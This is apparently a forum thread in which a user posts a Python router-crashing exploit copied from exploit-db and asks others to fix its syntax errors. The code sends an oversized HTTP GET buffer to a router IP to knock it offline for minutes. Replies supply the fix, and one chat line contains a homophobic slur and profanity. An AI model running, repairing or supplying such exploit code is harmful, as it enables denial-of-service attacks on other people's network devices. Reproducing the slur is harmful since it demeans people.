0 Members and 1 Guest are viewing this topic.
#!/bin/pythonimport socketimport struct # This will crash the router.# In some devices it takes about 10 minutes until functionality is restored. buffer = "\x41" * 6000 # Original fuzzing buffer.host = "192.168.15.25" s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, 80)) payload = GET /" + buffer + " HTTP / 1.1 \r\n "payload += ("Host: %s \r\n\r\n", % host) s.send(payload)s.close()
i am Trying To run This Exploit but i 'm getting Syntax error when i Run it, some one help me to fix this Code.. i am Getting syntax Error on line 14 ... Original Post.https://www.exploit-db.com/exploits/34102/
payload = "GET /" + buffer + " HTTP / 1.1 \r\n "
payload = GET /" + buffer + " HTTP / 1.1 \r\n "
<m0rph-is-gay> fuck you thewormkill you python coding mother fucker
File "buffer.py", line 15 payload += ("Host: %s \r\n\r\n", % host) ^SyntaxError: invalid syntax
Remove the comma and the brackets and learn to code your own exploits, so you don't have to rely on others' shitty and obviously untested code.